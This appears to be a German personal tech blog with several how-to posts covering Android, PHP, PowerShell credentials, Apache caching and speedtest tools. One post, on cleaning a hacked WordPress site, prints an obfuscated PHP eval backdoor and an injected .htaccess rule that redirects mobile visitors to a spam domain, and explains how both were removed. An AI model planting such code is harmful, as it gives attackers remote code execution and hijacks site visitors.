Android Studio – Installation hinter einem Proxy

Wer das neue Android Studio hinter einem Proxy installieren möchte bekommt eventuell wie ich einen Timeout-Fehler beim Versuch nach Update-Paketen zu suchen.
Dazu muss dem Programm der Proxy bekannt gemacht werden, das geht über das editieren einer xml Datei. Anschließend einfach nochmal auf Retry gehen und es flutscht wieder.
android_studio_proxy
 
Dazu folgende xml Datei editieren:

%USERPROFILE%\.AndroidStudio\config\options\other.xml

Android Studio other.xml
Dort muss USE_HTTP_PROXY true gesetzt werden, sowie die ProxyIP und Port angegeben werden.
Falls vorhanden kann auch einfach die Proxy-Auto-Config aktiviert werden. (Das setzt aber ein Konfiguriertes WPAD vorraus.)
Wenn ihr beides true setzt (wie im Bild) bekommt ihr beim ersten Start eine Meldung, dass nur eine Konfiguration möglich ist – und könnt dies dann direkt in der GUI auswählen.

Howto Fix: phpMyAdmin (The mcrypt extension is missing. Please check your PHP configuration.)

phpMyAdmin ist eine grafische Weboberfläche für den Datenbankserver MySql und unter Linux sehr beliebt.
Der klassische Fehler in der Grundinstallation z.B. bei Ubuntu 14.04 aber auch anderen Versionen ist der Folgende:
[stextbox id=“alert“]The mcrypt extension is missing. Please check your PHP configuration.[/stextbox]
Die Ursache ist, dass das Mcrypt Modul in PHP möglicherweise zwar installiert, aber nicht aktiviert ist.
Um den Fehler zu beheben das Modul einfach über die Kommandozeile installieren:

root@server:~# apt-get install php5-mcrypt
Reading package lists... Done
Building dependency tree
Reading state information... Done
php5-mcrypt is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 38 not upgraded.

Und anschließend auch noch in php aktivieren:

root@server:~# php5enmod mcrypt

Danach noch einmal den apache2 neustarten und ihr sollten den Fehler los sein.

service apache2 restart

Fix: 'Couldn't create a new Partition' für Dell PowerEdge Server

Da packte ich einen neuen Dell PowerEdge R730 aus und wollte für Benchmarks direkt Windows Server 2012 R2 installieren, doch das klappte nicht – das Windows Setup konnte keine Boot Partition erstellen:
partition_dell

"We couldn't create a new partition or locate an existing one. For more information, see the Setup log files."

sdcard
In diesem Fall hat der Server 2 SD-Slots eingebaut – welche anscheinend intern als HDD0 auftauchen, welche aber durch das Setup nicht partitioniert werden können.
Die Lösung war relativ simpel: Im Bios kurzfristig die internen SD-Slots deaktivieren, und rebooten. Anschließend lies sich Windows auch fehlerfrei installieren.
Danach kann man übrigens die SD-Slots wieder aktivieren, gibt keine weiteren Einschränkungen.
Da die Server ja alle sehr ähnlich strukturiert sind tritt das Phänomen vermutlich auch auf den PowerEdge R720, oder R730xd etc. auf.

LG G3: In Orginalzustand versetzen (Back to Stock)

Wenn man mal ein falsches Custom-Rom installiert hat, gar nichts mehr geht, oder man einfach sein Handy auf einen kompletten Werkszustand zurücksetzten möchte kann man mit der folgenden Anleitung wieder „Back to Stock“ bzw. sein Handy in Orginalzustand versetzen. (Natürlich nur falls man kein Bootloader entsperrt hat.)
1. Firmware Dateien herunterladen
Ihr findet die KDZ-Dateien für das LG-D855 in folgendem Ordner. Zum Beispiel die folgende: Germany D85510L_00.kdz

telefoninfo_compressed
Den Hardwaretyp bekommt man über Telefoninfo->Hardware-Informationen

2. LG Treiber installieren
Sofern noch nicht geschehen, die ADB & Fastboot Treiber für LG installieren. Zum Download hier.
3. LG Flash Tool 2014 herunterladen
Das Flashtool bekommt ihr hier. Es setzt die Visual C++ Runtime vorraus, falls ihr das Programm nicht startet könnt benötigt ihr dies.
4. Handy in den Download Modus versetzten
Dazu das Handy ausschalten, Lauter-Taste gedrückt halten und USB-Kabel einstecken.
5. Handy flashen
Dazu die .kdz Datei auswählen bei Type: CDMA, Phone Mode: Diag auswählen.
Der „Normal Flash“ löscht keine Daten, ersetzt nur die Systemdaten. Kann allerdings zu Boot-Loops führen, wenn man verschiedene Custom-Roms verwendet hat.
Wählt „CSE Flash“ wenn ihr ein kompletten Reset inklusive Formatierung aller Daten möchtet. Dies ist eine gute Methode um auf Werkszustand zurückzusetzen.
[stextbox id=“info“]Zur Sicherheit kopiert die .kdz Datei in das Programmverzeichnis vom LG Flash Tool – Es gab anscheinend ein paar Probleme, wenn dem nicht so war.[/stextbox]
 

Nach dem letztem OK Button startet der Flashvorgang in einem weiteren Fenster. Nicht von den Chinesischen Schriftzeichen irritieren lassen – ihr könnt den Verlauf auf eurem Handy nachverfolgen.
Bei mir hat der Flashvorgang ca. 3 Minuten gedauert, der erste Boot kann bis zu 6 Minuten dauern.
Der Beitrag basiert auf dem englischem Tutorial im Beitrag von hyelton aus dem XDA-Forum.

LG G3: Wie man ein Custom-Rom installiert (Android 5.0 Lollipop)

LG hat für das G3 bereits Android 5 angekündigt und arbeitet bereits auch am Ausrollen des Over-the-air-Updates.
Für Deutschland ist mir das verteilen des Update noch nicht bekannt, aber in Polen ist es bereits verfügbar. Wer nicht warten kann, kann es über diesen Weg schon vorab installieren.
Auch ein Grund um ein Custom-Rom zu benutzen ist: Wenn man weiter über Root-Rechte verfügen möchte. Denn Google hat mit Android 5.0 / Lollipop einige Änderung für die Sicherheit vorgenommen, was das rooten generell erschweren soll.
Im Moment ist auch noch keine Möglichkeit wie man mit der offiziellen Android 5 Version an root Rechte gelangt (über ein Exploit wie Towerlroot o.ä).
Mit AndroidNow gibt es ein Custom-Rom was auf dem offiziellen Image von LG aufbaut, mit Android 5, Root Rechten und ein paar weiteren Änderungen.
Wie flasht man ein Custom Rom?
[stextbox id=“alert“]Auf alle Fälle vorher ein Backup machen – z.B. mit Titanium Backup oder Helium für die Apps. Für die Einstellungen kann man das LG Backup nutzen. Es kann immer etwas schief gehen![/stextbox]
1. Ihr braucht Roote Rechte
Zum Beispiel via ioroot, oder andere Tools – hatte ich hier schon mal beschrieben.
2. Custom-Recovery (TWRP) herunterladen und auf SD Karte ablegen
Das TWRP Recovery bekommt ihr hier aus folgendem Beitrag. Die .img Datei ist für Flashify ausreichend.
3. Custom-Rom herunterladen und auf SDKarte ablegen
Ihr findet hier einige Roms – ich habe bisher nur AndroidNow 4.2 ausprobiert – kann ich empfehlen.
3. Flashify aus dem Playstore herunterladen
Wird benötigt um ein unter anderem ein verändertes Recovery zu installieren.
4. TWRP (Recovery) flashen
Daszu Flashify starten, root gewähren.
Um sicher zu gehen kann man an dieser Stelle auch nochmal das orginal Recovery sichern.
Anschließend unter Recovery die zuvor heruntergeladene .img Datei flashen.


[stextbox id=“info“]Reboot to Recovery:
Handy ausschalten, Lautstärke Leiser + Power gedrückt halten – Warten bis LG Logo erscheint – loslassen und erneut Leiser + Power drücken.[/stextbox]
5. Full-Backup erstellen
Ins Recovery booten, am einfachsten geht dies aus Flashify heraus (oben Rechts – Reboot Recovery).
Anschließend unter Backup eine Sicherung von allem erstellen, sofern Platz ist. Auf jeden Fall solltet ihr aber das „Modem“ sichern.
6. Custom-Rom flashen
Nun ein Factory-Reset machen dazu im TWRP unter Wipe……
Über Install könnt ihr nun das zu installierende Rom aus dem Speicher auswählen und installieren.
Abschließend Reboot – fertig.

Scripting: Das sichere Speichern von Passwörtern

Um seine privaten Passwörter zu speichern gibt es ja mittlerweile viele Tools wie z.B. PasswortDepot, Keepass, oder Lastpass die ein verschlüsseltes speichern ermöglichen.
Im Firmenumfeld gibt es aber unter Umständen einige Gründe in denen man Passwörter in Powershell oder Batch Scripten ablegen muss.
Jetzt gibt es verschiedene Wege ein Passwort zu speichern und zu nutzen:
1. Im Klartext
Leider ist es immer noch viel zu oft gängige Praxis, das Passwort aufgrund von Faulheit einfach im Klartext in einer Textdatei abzuspeichern.
2. Verschlüsselt via MD5/SHA-1
Die Verschlüsselung des Passwortes sollte auf jeden Fall im Umgang mit Kundendaten oder zum Beispiel für Logindaten erfolgen.
Wenn man ein automatischen Cronjob erzeugt der Remote Daten abgreift, bringt dies allerdings nichts, da ja immer noch das Kennwort (zum Entschlüsseln) irgendwo gespeichert bzw. eingegeben werden muss.
Weitere Infos zum Hashen von Passwörter findet ihr hier sehr schön beschrieben.
3. Verwendung des PSCredential (unter Windows)
Mit der Powershell wurde das PSCredential-Objekt eingeführt – ein Objekt in dem Username + Passwort verschlüsselt abgelegt werden.
Diese Funktion basiert auf der Windows Data Protection Api (DPAPI) wie auch alle anderen Windows-Anwendungen wie z.B. Internet Explorer usw.
Das erzeugen eines PSCredentials funktioniert zum Beispiel so:

$pw = Get-Credential

Wie man sieht besteht das Objekt aus Benutzernamen und dem Passwort welches als „System.Security.SecureString“ gespeichert wird:

PS C:\Users\Constey> $pw
UserName                                                               Password
--------                                                               --------
asd                                                System.Security.SecureString

Um das Passwort jetzt abspeichern zu können muss es in einen String konvertiert werden. Dieser String ist bereits verschlüsselt und sieht ungefähr so aus:

PS C:\Users\Constey> $pw.Password | ConvertFrom-SecureString
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cbd08902a5e36247a761f726c190898
f00000000020000000000106600000001000020000000db8dea5f0d8c77a856c7a156f2a0ebfc19
ce82a95bfc0877192fe3771178ae2f000000000e8000000002000020000000d172638c2edc9eeca
2b764e052fc94b2671d3b62fdcfb2edd98fac306a22d65670000000bbd1fb42c2f91ffc4f9abac5
4c1fc5cdf0396fee5db1f9bc1d21070c2cc07f1911c0f8af85c9eef1019bc50fd382bb120fb8826
7a51115677520452d6eb5347a615218419e3d5803170a3c71e58b5789f1de597082d5d9eb68af66
598590a1607b7975d3c70d6ae09c70ce781cb0f8e8400000001a1c3903abcc486186818c9695b88
b6c54acfb973a7e6670bd08f78653a275791b42b88d823db04348262908b37fdb03bd6d719a05f5
ea35917e69ab96a44a32

Zum Speichern in einer Datei kann man die Ausgabe per Pipe umleiten:

PS C:\Users\Constey> $pw.Password | ConvertFrom-SecureString | out-file c:\temp\test.txt

Wie liest man ein gespeichertes Passwort aus einer Datei wieder ein ?

$username = "test"
$pw = cat c:\temp\test.txt | ConvertTo-SecureString
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $pw

Hier sollte beachtet werden, dass man den Usernamen explizit nochmal von Hand angeben muss, das Kennwort aber aus der Datei importiert wird.
Die $credential Variable ist nun wieder unser PSCredential-Objekt und kann normal weiter verwendet werden.

Get-WmiObject -Query "Select * FROM Win32_OperatingSystem" -Credential $credential

Wenn man nur das Passwort als SecureString über die Konsole einlesen möchte geht dies alternativ auch so:

$pwOnly = read-host -assecurestring

[stextbox id=“info“]Seit Powershell 3.0 gibt es auch die Möglichkeit vollständige Objekte als XML-Datei zu exportieren. Dies kann unter Umständen einfacher sein, da dass Passwort automatisch konvertiert wird und das Objekt auch den Usernamen enthält.[/stextbox]

$pw = Get-Credential
$pw | Export-Clixml C:\temp\test.xml

Der Import funktioniert ebenso simple:

$pwNeu = Import-Clixml C:\temp\test.xml
PS C:\Users\Constey> $pwNeu
UserName                                                               Password
--------                                                               --------
asdasd                                             System.Security.SecureString

Die XML Datei ist wie folgt aufgebaut:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">asdasd</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cbd08902a5e36247a761f726c190898f00000000020000000000106600000001000020000000aa344345ba7c169386795f88c4631bde7834256b4d5f65023cf3a8520683b789000000000e8000000002000020000000b219a67d828f8fe0391687af3ca7ccfc96dfd21546b5ad45915745aed130bcd280000000bf438824b21f066088a69a8bf6c0b2286f50c2ff68b1c881b55d98d6b300d3407be4eb2de0521c21b03bdeec2cf60729ff97ead3217f592ab01954641d0c445c9a0ca77e73d83d949425613dcb51c97c917610a61239cb2aa4017141b2139a0ae7d80d738de22c0545019d38af1811dc8d89476d273f578b776cf0e7addc847c40000000bda7b710327a37477bc6db816a7ca7a3553f44fd71aff73bfa6bbaf1b16b9cc4a400fbc8c536dc08d23ed126547c3b5a049105ef8bb8ca487933755c8565aa8b</SS>
    </Props>
  </Obj>
</Objs>

[stextbox id=“info“]Wichtig: Das PSCredential bzw. der SecureString den man erzeugt wird auf Basis von der PC-Hardware aber auch von Werten des aktuellen Benutzers erzeugt. Das heißt, dass dieser String nicht unter einem anderem User funktioniert.
Das hat zudem den Vorteil, dass man ohne Zugangsdaten des Users nichts mit dem gespeichertem Passwort anfangen kann.
Eine Nutzung zum Beispiel über den Task Scheduler wäre dennoch möglich, denn man kann dort sein Script unter einem anderem Benutzer ausführen lassen. Dafür müssen bei der Erstellung des Tasks die Zugangsdaten des Benutzers einmalig angegeben werden. Diese werden dann wiederum verschlüsselt von Windows’s Credential Manager gespeichert.[/stextbox]
Abschließend gilt zu sagen, dass Sicherheit natürlich auch viel mit Bequemlichkeit zu tun hat – dennoch sollte man im Firmenumfeld seine Kennwörter nicht im Klartext in irgendwelchen Dateien abspeichern, jedenfalls sofern es nicht anders möglich ist.
Falls man dennoch mal mit unsicheren Programmen wie Net-Use, FTP etc. arbeiten muss, die keine -Credential Objekte unterstützen gibt es noch das Tool „Get-PSCredential“ von Thomas Franke, welche auch den Umgang mit solchen Programmen zumindest so Sicher wie möglich macht.

WordPress – Browser Caching einschalten

browser-cachingIch hatte ja schon vor längerer Zeit mal was zu dem Speedtest Verfahren von Google erzählt, welches die Geschwindigkeit eurer Webseite/Blog etc. misst.
Neuerdings wurde bei mir angekreidet, dass ich doch Browser Caching einschalten sollte – hier kurz erklärt wie das funktioniert.
Voraussetzung ist allerdings dass ihr als Webserver den Apache verwendet und das Plugin „mod_expires“ installiert ist.
Man kann das Browsercaching für verschiedene Dateitypen einstellen, sowie mit verschiedenen Ablaufzeiten. Die ausführliche Dokumentation findet ihr hier, ich habe mich mal auf das nötigste beschränkt:

# BrowserCache
<IfModule mod_expires.c>
	ExpiresActive On
	ExpiresDefault "access plus 1 month"
	ExpiresByType image/x-icon "access plus 1 year"
	ExpiresByType image/gif "access plus 1 month"
	ExpiresByType image/png "access plus 1 month"
	ExpiresByType image/jpg "access plus 1 month"
	ExpiresByType image/jpeg "access plus 1 month"
	ExpiresByType text/css "access 1 month"
	ExpiresByType application/javascript "access plus 1 year"
</IfModule>

Den obigen Text müsst ihr in die .htaccess Datei in eurem Stammverzeichnis des Webservers platzieren. Wenn sie nicht vorhanden ist, dann müsst ihr sie anlegen.
Und siehe da jetzt können statische Inhalte wie Bilder, CSS Dateien und Javascripte vom Browser gecacht werden, was zu einer schnelleren Ladezeit führt….. (und Google ist auch glücklich ;-))

WordPress – Maleware MW:HT:291 entfernen und Ursache finden

Heute gibt es mal wieder ein Beitrag von mir in eigener Sache, der meinen WordPress-Blog betrifft.
Wie sich herausgestellt hat wurden alle Webseitenbesucher, welche mit einem Smartphone auf meinen Blog zugreifen wollten automatisch auf irgendwelche Werbeseiten weitergeleitet.
Erst einmal Danke an Steffen, der mir direkt bescheid gegeben hat, sodass der Müll nur für einige Stunden auf meiner Seite aktiv war. Nicht einmal Google war schnell genug um dies zu bemerken. 🙂
Was war passiert ?
Als erstes hatte ich ein paar Online-Viren/Maleware Scanner ausprobiert. Wie schon gesagt hat Google nichts gefunden. Der Malewarescanner von labs.sucuri.net fand dann aber etwas. Gefunden wurde ein sogenannter „Malware entry: MW:HT:291„. Mit der Onlinebeschreibung lies sich aber erst einmal nichts anfangen.
Meine erste Vermutung: Aus irgend einem Plugin oder Theme muss das ja kommen
Also habe ich erst einmal alle Plugins deaktiviert und das Template gewechselt. Leider war die Weiterleitung immer noch drin. Also musste es schon eine Veränderung der WordPress Dateien sein, oder etwas anderes.
Also schaute ich mir mal das Dateisystem an, Ordnerstruktur und WordPress-Dateien.
Dabei sind mir einige .htaccess Dateien aufgefallen, die ich so nicht angelegt hatte. Unter wp-includes, wp-content sowie im Root-Verzeichnis hatte sich da folgendes in die .htaccess eingeschleust:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|pad)|iris|kindle|lge\ |maemo|meego.+mobile|midp|mmp|netfront|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ (ce|phone)|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]

Sucht man im Internet nach „http://luxurytds.com/go.php?sid=1“ findet man bereits einige Einträge zu dem nervigem Thema.
Also den Schmodder erst einmal rausgelöscht und gut war….. Doch woher kommt die Maleware ?
Generell aktualisiere ich regelmäßig meine WordPress Installation sowie alle Plugins. Also sollte es nicht aufgrund irgendwelchen alten WordPress Dateien sein… (Dachte ich!)
Jedenfalls habe ich mir mal einige .php Dateien in meinem WordPress Ordner angeschaut. Bei einer Datei unter wp-content/uploads wurde ich stutzig.
Folgender Inhalt:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nb08aac'];
if(isset($s22)){eval($s21($s22));}?>

Auf den ersten Blick sieht das vielleicht für den Laien nicht wirklich besonders aus, aber warum ist der Code so „umständlich“ ?
Aufgeschlüsselt bedeutet der Code aber: Wenn jemand diese Datei ausführt mit den POST Daten „_POST[’nb08aac‘]“ kann er beliebigen Code einschleusen.
Eine super Erklärung dafür, mit allem Aufgeschlüsselt von somewebgeek.com gibt es hier.
Nachdem ich nun alle meine WordPress Dateien nach diesem Inhalt durchsucht habe, fand ich noch weitere Einträge in diversen Dateien:
hack-textsucheWie sich herausgestellt hat, war dies auch in der view.php des lightword Theme enthalten, welches ich allerdings nicht mehr benutze. Vermutlich war das die Quelle des Ganzen.
Was lerne ich daraus?
Vermutlich ist es nicht immer gut alles aufzuheben und ab und an sollte man mal sein WordPress aufzuräumen.
Warum soll man viele nicht mehr verwendete oder deaktivierte Themes & Plugins installiert lassen ? -> Einfach deinstallieren!
Die klassischen Einstellungen wie: WordPress Version verstecken, Username ändern, andere Tabellennamen etc. hatte ich bereits eingestellt.
Über das Plugin „Sucuri Security“ bin ich noch auf weitere Einstellungsmöglichkeiten gekommen wie z.B. Security Keys, Restrict wp-includes access und weitere Tricks.
Einen wirklichen Virenscanner, oder etwas vergleichbares habe ich aber noch nicht gefunden.
Dennoch sollte mein Blog jetzt erst einmal wieder Sicher sein 🙂
 

Speedtest via Kommandozeile (speedtest.net)

Wie schnell ist mein Internet denn im Moment wirklich ? Diese Frage stell ich mir so des öfteren und in Sachen Speedtest gibt es mittlerweile ja auch einige Tools die einen entweder befriedigen, oder zur Weißglut bringen 🙂
Eins davon ist Speedtest.net, die Seite gibt es schon etwas länger und ist weit verbreitet. Durch die große Anzahl an Servern in allen Ländern, lassen sich auch reale Werte ermitteln.
speedtest
Die Seite funktioniert mit einem Browser und Flash wunderbar, doch wie sieht es aus, wenn ich z.B. nur einen Raspberry Pi habe oder von einem Server ohne grafische Oberfläche die Geschwindigkeit per Bash checken will ?
Dafür habe ich ein cooles Tool gefunden – ist in Python geschrieben und lässt sich überall einsetzen. Der Code ist Open-Source und kann natürlich eingesehen werden.

wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli
./speedtest-cli
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from 1&1 Internet AG (87.106.33.84)...
Selecting best server based on latency...
Hosted by Base-Mail (Frankfurt) [100.73 km]: 10.639 ms
Testing download speed........................................
Download: 93.33 Mbits/s
Testing upload speed..................................................
Upload: 90.83 Mbits/s

Das Skript ermittel standardmäßig einen Test-Server der von der Entfernung her am nächsten ist. Das macht generell Sinn, wenn man jetzt aber den Speed auch mal Interkontinental testen möchte, gibt es dafür auch die passenden Parameter:

$ speedtest-cli -h
usage: speedtest-cli [-h] [--bytes] [--share] [--simple] [--list]
[--server SERVER] [--mini MINI] [--source SOURCE]
[--version]
Command line interface for testing internet bandwidth using speedtest.net.
--------------------------------------------------------------------------
https://github.com/sivel/speedtest-cli
optional arguments:
-h, --help show this help message and exit
--bytes Display values in bytes instead of bits. Does not affect
the image generated by --share
--share Generate and provide a URL to the speedtest.net share
results image
--simple Suppress verbose output, only show basic information
--list Display a list of speedtest.net servers sorted by distance
--server SERVER Specify a server ID to test against
--mini MINI URL of the Speedtest Mini server
--source SOURCE Source IP address to bind to
--version Show the version number and exit

So kann man sich z.B. via –list eine Liste der (bei mir im Test über 3000!) verschiedenen Server im Speedtest.net Pool anzeigen lassen:

./speedtest-cli --list
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
....
5085) Google Fiber (Salt Lake City, UT, United States) [3122.60 km]
4178) Syringa Networks (Salt Lake City, UT, United States) [3122.60 km]
244) XMission (Salt Lake City, UT, United States) [3122.60 km]
2206) UTOPIA (Salt Lake City, UT, United States) [3122.60 km]
....

So kann man sich jetzt einen Server in der Liste anhand der ID heraussuchen und über diesen Testen, dann sieht man auch gleich – wie in meinem Fall, dass ich von Deutschland aus keine 100mbit mehr nach Montreal hinbekomme.
Was alleine schon durch die große Entfernung dazwischen eine Leistung ist 🙂

./speedtest-cli --server 1993
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from 1&1 Internet AG (87.106.33.84)...
Hosted by ElectronicBox (Montreal, QC) [5815.52 km]: 149.306 ms
Testing download speed........................................
Download: 29.63 Mbits/s
Testing upload speed..................................................
Upload: 21.57 Mbits/s

 
Viel Spaß beim Testen.

Solarlog (200) Momentanwerte per Kommandozeile auslesen

Solar-Log LogoBesitzer einer Solaranlage haben in der Regel ja auch einen Datenlogger im Einsatz. Ich habe einen Solarlog 200 bei mir zuhause. Die Abfrage der Livewerte sollte aber auch bei allen anderen Modellen von Solar-Log funktionieren.
Das Solarlog besitzt ja eine sehr schöne grafische Webseite, über diese kann man sich auch alle Werte als JSON Objekte ausgeben lassen.
Jede ID steht für einen bestimmten Wert, hier ist eine Übersicht – diese findet ihr auch im Solarlog Handbuch.

&lt;!-- Solar-Log Json Objekte ----
100 - LastUpdateTime
101 - W Pac (Gesamtleistung) aller Zähler &amp; WR
102 - W Pdc (Gestamtleistung aller WR)
103 - V Uac Durchschnittliche Spannung UAC der Wechselrichter
104 - V Durchschnittliche Spannung UDC der Wechselrichter
105 - Wh Durchschnittliche Spannung UDC der Wechselrichter
106 - Wh Summierter gestriger Tagesertrag aller Wechselrichter
107 - Wh Summiertes Monatsertrag aller WR
108 - Wh Summiertes Jahresertrag aller WR
109 - Wh Gesamtertrag aller Wechselrichter
110 - W momentaner Gesamtverbrauch PAC aller Verbauchszähler
111 - Wh Summierter Verbrauch aller Verbauchs-zähler
112 - Wh Summierter Verbrauch des gestrigen Tages; alle Verbauchszähler
113 - Wh Summierter Verbrauch des Monats; alle Verbauchszähler
114 - Wh Summierter Verbrauch des Jahres, alle Verbauchszähler
115 - Wh Summierter Gesamtverbrauch, alle Ver-bauchszähler
116 - Wp Installierte Generatorleistung
--&gt;

Unter Linux kann man sich dann z.B. via Curl alle Werte ausgeben lassen:

curl -X POST -H "Content-Type: application/json" -d '{"801":{"170":null}}' 192.168.0.69/getjp

Der Befehl gibt bei mir folgende Rückgabe:

{"801":{"170":{"100":"21.09.14 16:32:15","101":257,"102":262,"103":0,"104":407,"105":19466,"106":30730,"107":822005,"108":12972119,"109":23174482,"110":0,"111":0,"112":0,"113":0,"114":0,"115":0,"116":16800}}}

Wenn man das jetzt etwas anders formatiert sieht es schon besser aus:

{"801":
{"170":
{"100":"21.09.14 16:32:15",
"101":257,"102":262,
"103":0,"104":407,
"105":19466,
"106":30730,
"107":822005,
"108":12972119,
"109":23174482,
"110":0,
"111":0,
"112":0,
"113":0,
"114":0,
"115":0,
"116":16800}
}
}